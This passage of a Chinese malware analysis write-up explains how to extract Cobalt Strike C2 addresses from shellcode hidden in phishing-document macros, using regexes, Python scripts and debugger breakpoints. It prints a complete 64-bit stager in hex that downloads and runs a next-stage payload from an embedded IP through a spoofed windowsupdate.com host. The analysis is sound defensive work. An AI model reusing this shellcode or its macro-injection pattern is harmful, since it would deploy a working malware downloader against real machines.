reserveHTTP = re.findall(r"E8A9FDFFFF(.+?)0000000001", D2H.decode('utf-8').upper(), re.IGNORECASE)[0]
print(reserveHTTP)
print("——————————十六进制IP转为ASCII码——————————")
print(binascii.a2b_hex(reserveHTTP).decode('utf8'))
精简路径
对于初始载荷,检索方式有:
macros.macros_code:"CreateStuff" AND
macros.macros_code:"CreateRemoteThread" AND
macros.macros_code:"AllocStuff" AND
macros.macros_code:"VirtualAllocEx" AND
macros.macros_code:"WriteStuff" AND
macros.macros_code:"WriteProcessMemory" AND
macros.macros_code:"RunStuff" AND
macros.macros_code:"CreateProcessA" AND
macros.macros_code:"Array" AND
macros.macros_code:"LBound" AND
macros.macros_code:"UBound" AND
macros.macros_code:"rwxpage" AND
macros.macros_code:"0, 0, 0, 0, 1)"
对于IP一直位于ShellCode末尾“(E8A9FDFFFF(.+?)
0000000001)”处,此处在宏代码中为末尾的“-3, -1, -1, 49, 53, 57, 46, 55, 53, 46, 49, 49, 54, 46, 49, 56, 0, 0, 0, 0, 1)”:
其他类型PayLoad
到此步时,PayLoad的汇编代码已经很明显了。对标题中的提取C2信息而言比较重要的可能是:
创建网络连接:
int connect(
int sock,
struct sockaddr *serv_addr,
socklen_t addrlen
);
void InternetConnectA(
HINTERNET hInternet,
LPCSTR lpszServerName, ——连接的ip或者主机名
INTERNET_PORT nServerPort, ——连接的端口
LPCSTR lpszUserName,
LPCSTR lpszPassword,
DWORD dwService,
DWORD dwFlags,
DWORD_PTR dwContext
);
由于IP和Port会在一起PUSH,(或者其他类型ShellCode可能C2信息存放的位置不同)故找到两个连在一起的PUSH:
正则搜索方式为
68[0-9a-fA-F]{8}
68[0-9a-fA-F]{8}
54
684C772607
将其PUSH的值转换为IP和Port:
import binascii
import struct
arrayShellCode = []
with open('[ShellCode.txt]', 'r') as f:
for x in f:
tmp = x.replace(' ', '').replace('_', '').strip().split(",")
arrayShellCode += tmp
arrayShellCode = [int(y) for y in arrayShellCode if y]
i = struct.pack("<{0}b".format(str(len(arrayShellCode))), *arrayShellCode)
D2H = binascii.b2a_hex(i)
print(D2H.decode().upper())
import re
IPandPort = re.findall(r"EB865D68([0-9a-fA-F]{8})68([0-9a-fA-F]{8})54", D2H.decode('utf-8'), re.IGNORECASE)[0]
IP = IPandPort[1]
Port = IPandPort[0]
import socket
addr_long = int(IP, 16)
print(socket.inet_ntoa(struct.pack("<L", addr_long)))
64位ShellCode
FC4883E4F0E8C8000000415141505251564831D265488B5260488B5218488B5220488B7250480FB74A4A4D31C94831C0AC3C617C022C2041C1C90D4101C1E2ED524151488B52208B423C4801D0668178180B0275728B80880000004885C074674801D0508B4818448B40204901D0E35648FFC9418B34884801D64D31C94831C0AC41C1C90D4101C138E075F14C034C24084539D175D858448B40244901D066418B0C48448B401C4901D0418B04884801D0415841585E595A41584159415A4883EC204152FFE05841595A488B12E94FFFFFFF5D6A0049BE77696E696E65740041564989E64C89F141BA4C772607FFD54831C94831D24D31C04D31C94150415041BA3A5679A7FFD5E9930000005A4889C141B8BB0100004D31C9415141516A03415141BA57899FC6FFD5EB795B4889C14831D24989D84D31C952680032C884525241BAEB552E3BFFD54889C64883C3506A0A5F4889F1BA1F0000006A0068803300004989E041B90400000041BA75469E86FFD54889F14889DA49C7C0FFFFFFFF4D31C9525241BA2D06187BFFD585C00F859D01000048FFCF0F848C010000EBB3E9E4010000E882FFFFFF2F72616E645F6A736964636F64652E6373703F726E643D3236323337323700DFFB5814E0A3D0C88522A901A043CF53936F1CC9CE9D64195C57BA0D598FF9195CF4C62C6B24A2CF17C347DE275B552C00486F73743A207777772E77696E646F77737570646174652E636F6D0D0A436F6F6B69653A206C616E67756167653D656E5F55533B20454E41424C455F52414E44434F44453D313B20566973697454696D65733D303B20686176654C6F67696E3D303B2654574649443D376336653764346137363366303136380D0A4163636570743A202A2F2A0D0A496E7365637572652D52657175657374733A20310D0A557365722D4167656E743A204D6F7A696C6C612F342E302028636F6D70617469626C653B204D53494520372E303B2057696E646F7773204E5420352E313B202E4E455420434C5220322E302E3530373237290D0A00792EC7BF82E7D4661C627C4B55CB2AAAF58B4C6E16BDD59C7ECB5138B3A7227A05F9F886CC78140A77C6A8A77F116070F183FB609E57797176F207FA0041BEF0B5A256FFD54831C9BA0000400041B80010000041B94000000041BA58A453E5FFD5489353534889E74889F14889DA41B8002000004989F941BA129689E2FFD54883C42085C074B6668B074801C385C075D758585848050600000050C3E87FFDFFFF32372E3232312E35342E3232380001000000AB
内存显示如下:
这是一个采用域前置方式下载下一阶段Payload的ShellCode。可见字符串部分分别是接口,HTTP头部的配置,和连接的IP。
如对网络函数或者其他还没加载的函数下断,得在加载Dll的函数后停下(或者断LoadLibraryA也行),再下断:
找的办法是:
- 一般在ShellCode in ASM显示状态里的第一个Call寄存器
- 找数字
2.1 74656E696E6977 = teniniw,winninet的小端序数字
2.2 726774C = hash(“kernel32.dll!LoadLibraryA”)
加载后就可以下断了:
网络函数和VirtualAlloc
- InternetOpenA,没有特别需要注意的地方;
- InternetConnectA,这里会传IP和Port。在“InternetConnectA”下断也行,看汇编代码也行:
2.1 IP在pop的寄存器里
2.2 Port在汇编代码里(443=Hex(1BB)) - HttpOpenRequestA,这个函数有个参数是“lpszObjectName”,就是目标地址(接口)。也是通过pop寄存器传参:
- InternetSetOptionA,设置Internet选项,一般意义不大,除了域前置等用途外没有查看的意义;
- HttpSendRequestA,发送请求;
- VirtualAlloc,申请内存。内存窗口跟踪此内存地址;
InternetReadFile,读取网络句柄返回的数据,此数据会被保存到VirtualAlloc申请的内存中:
如果能从句柄中读取到Payload数据,则可以执行。总结
那么回归到最初的目的,批量自动化提取包含恶意宏代码钓鱼文档的IP和Port。
通过宏代码或其他方式,找到某类带有恶意宏代码的文档
- 自动提取宏代码中的PayLoad
- 转换PayLoad代码为十六进制
- 尝试使用提取工具
- 无法自动提取就手动正则匹配C2信息存放位置
- 以上文提到的ShellCode类型为例。提取
/68[0-9a-fA-F]{8}68[0-9a-fA-F]{8}54684C772607/
中的两个[0-9a-fA-F]{8}
值 - 分别将
[0-9a-fA-F]{8}
转换为(inet_ntoa)IP和(?)Port - 或者使用
🙇🏻♀️致谢🙇🏻♀️
感谢杰哥帮忙写的Python脚本,之前的工作只需要逆向,几年没写代码了(本来就没写过多久🤦🏻♀️),作为IT人实在是惭愧。
像遇到HW这种活动时,需要批量提IP的情况,不可能人工去一个个分析提取,求助于大哥后顺利完成全自动提取,省下了很多时间可以做更有意义的事,感恩!🙇🏻♀️🙇🏻♀️🙇🏻♀️😂有超级豪华轮子了😂
后来有人写了提取的脚本Avast - payload_tools和Sentinel-One - CobaltStrikeParser
CobaltStrike - Beacon / PayLoad配置提取工具